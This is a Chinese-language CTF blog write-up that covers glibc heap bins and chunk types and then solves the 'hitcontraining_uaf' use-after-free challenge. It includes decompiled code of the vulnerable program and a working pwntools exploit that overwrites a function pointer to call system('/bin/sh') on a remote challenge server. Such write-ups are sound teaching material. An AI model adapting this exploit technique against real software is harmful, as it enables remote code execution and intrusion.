  • fast bin:对于size较小的chunk,释放后放入fast bin当中,一般x64位系统范围在32~128字节之间,prev_inuse=1永不合并,采取后进先出分配策略,单向链表。
  • unsorted bin:新释放的chunk暂时放入其中,减少插入正确bins中所需的开销,同时也为合并相邻的free chunks提供便利,采取先进先出分配策略
  • small bin:同一个small bin里chunk的大小相同,支持合并相邻空闲chunk,同时能尽可能提供精确内存块大小匹配,以减少内部碎片,双向链表。
  • large bin:用于处理超过small bins尺寸限制的chunk,通常超过512字节内存块,并且每组bin中的公差都是一致的,双向链表。

chunk

glibcmalloc中整个堆内存空间分成连续、大小不一的chunk,chunk总共分成4类:

  • allocated chunk:已分配内存块,当请求一定量内存时,内存分配器会从堆中找一块足够大的空闲区域,并标记为已分配。
  • free chunk:空闲块,曾经被分配但现在已经释放回内存池中的内存块,可以与相邻的空闲块合并以创建更大的空闲块,从而减少碎片化。
  • top chunk:未分配的最大连续内存区域,当没有合适的空闲块满足一个较大的内存请求时,malloc可能会尝试扩展这个顶端块以提供所需的空间。
  • last remainder chunk:最后剩余块,最近一次这种分割操作中产生的剩余块。它有助于优化未来的分配。

堆溢出

堆溢出指的是程序使用malloc等函数进行动态内存分配之后,通过使用不安全的字符串处理函数向堆中写入超出其内存边界分配的数据,从而导致了溢出到其它的chunk当中。

Use-After-Free

简称UAF漏洞,指的是程序释放了一个内存块,但后续依旧可以继续使用或引用该已经释放的内存块产生的问题,比如使用free函数释放内存后未置0。

例题:hitcontraining_uaf

1738764429369

根据输入的数字,来执行不同的函数,1=>对应添加笔记,2=>删除笔记,3=>打印笔记
int add_note()
{
  int result; // eax
  int v1; // esi
  char buf[8]; // [esp+0h] [ebp-18h] BYREF
  size_t size; // [esp+8h] [ebp-10h]
  int i; // [esp+Ch] [ebp-Ch]

  result = count;
  if ( count > 5 )
    return puts("Full");
  for ( i = 0; i <= 4; ++i )  //循环5次,最多添加5个笔记
  {
    result = *((_DWORD *)&notelist + i);
    if ( !result )
    {
      *((_DWORD *)&notelist + i) = malloc(8u); //通过malloc分配堆,notelist[i]
      if ( !*((_DWORD *)&notelist + i) )
      {
        puts("Alloca Error");
        exit(-1);
      }
      **((_DWORD **)&notelist + i) = print_note_content; //notelist[i][0]存放print_note_content函数的地址
      printf("Note size :");
      read(0, buf, 8u);
      size = atoi(buf);
      v1 = *((_DWORD *)&notelist + i);
      *(_DWORD *)(v1 + 4) = malloc(size);
      if ( !*(_DWORD *)(*((_DWORD *)&notelist + i) + 4) ) //申请第二个堆,notelist[i][1]
      {
        puts("Alloca Error");
        exit(-1);
      }
      printf("Content :");
      read(0, *(void **)(*((_DWORD *)&notelist + i) + 4), size);//将内容写入到notelist[i][1]指向的地址当中
      puts("Success !");
      return ++count;        
    }
  }
  return result;
}

int del_note()
{
  int result; // eax
  char buf[4]; // [esp+8h] [ebp-10h] BYREF
  int v2; // [esp+Ch] [ebp-Ch]

  printf("Index :");
  read(0, buf, 4u);
  v2 = atoi(buf);
  if ( v2 < 0 || v2 >= count )
  {
    puts("Out of bound!");
    _exit(0);
  }
  result = *((_DWORD *)&notelist + v2); //根据nodelist的索引进行删除
  if ( result )
  {
    free(*(void **)(*((_DWORD *)&notelist + v2) + 4));  //通过free函数直接释放掉堆,释放后的内存未置0
    free(*((void **)&notelist + v2));
    return puts("Success");
  }
  return result;
}

int print_note()
{
  int result; // eax
  char buf[4]; // [esp+8h] [ebp-10h] BYREF
  int v2; // [esp+Ch] [ebp-Ch]

  printf("Index :");
  read(0, buf, 4u);
  v2 = atoi(buf);
  if ( v2 < 0 || v2 >= count )
  {
    puts("Out of bound!");
    _exit(0);
  }
  result = *((_DWORD *)&notelist + v2);
  if ( result )
    return (**((int (__cdecl ***)(_DWORD))&notelist + v2))(*((_DWORD *)&notelist + v2));//将print_note_content还能输的地址作为参数,print_note_content会通过puts输出传入地址下一地址的内容,即nodelist[i][0]
  return result;
}
int magic()
{
  return system("/bin/sh");
}
同时存在magic,能直接调用shell,这题的思路就是通过UAF漏洞,通过print_note函数,将notelist[i][0] 即print_note_content指向 magic() 函数返回获得 shell

1738765845992

当我们通过add_note添加笔记,最终都如下图。

1738766258197

1738767116974

当通过free函数对notelist回收,创建的堆块会进入fast bin当中(单链表、后进先出),由于我本地是glibc 2.26之后因此是tcachebins,通过add_note添加了两个note,共是4个堆块,并进行回收,当再申请的时候,则会申请到0x10两个堆块,覆盖指向print_note_content的指针指向magic

payload如下:

from pwn import *

context.log_level = 'debug'
io = remote("node5.buuoj.cn", 27407)

def add_note(size, content):
    io.sendlineafter(b'Your choice :', "1")
    io.sendlineafter(b'Note size :', str(size))
    io.sendlineafter(b'Content :', content)

def del_note(index):
    io.sendlineafter(b'Your choice :', "2")
    io.sendlineafter(b'Index :', str(index))

def print_note(index):
    io.sendlineafter(b'Your choice :', "3")
    io.sendlineafter(b'Index :', str(index))

add_note(32, b'aaaa')
add_note(32, b'bbbb')
del_note(0)
del_note(1)
magic_addr =0x8048945
add_note(8, p32(magic_addr))
print_note(0)
io.interactive()
~  ~  The   End  ~  ~


 赏 
承蒙厚爱,倍感珍贵,我会继续努力哒!
logo图像
tips
文章二维码 分类标签:CTFCTF
文章标题:PWN
文章链接:https://aiwin.fun/index.php/archives/4430/
最后编辑:2025 年 2 月 22 日 09:32 By Aiwin
许可协议: 署名-非商业性使用-相同方式共享 4.0 国际 (CC BY-NC-SA 4.0)
(*) 5 + 3 =
快来做第一个评论的人吧~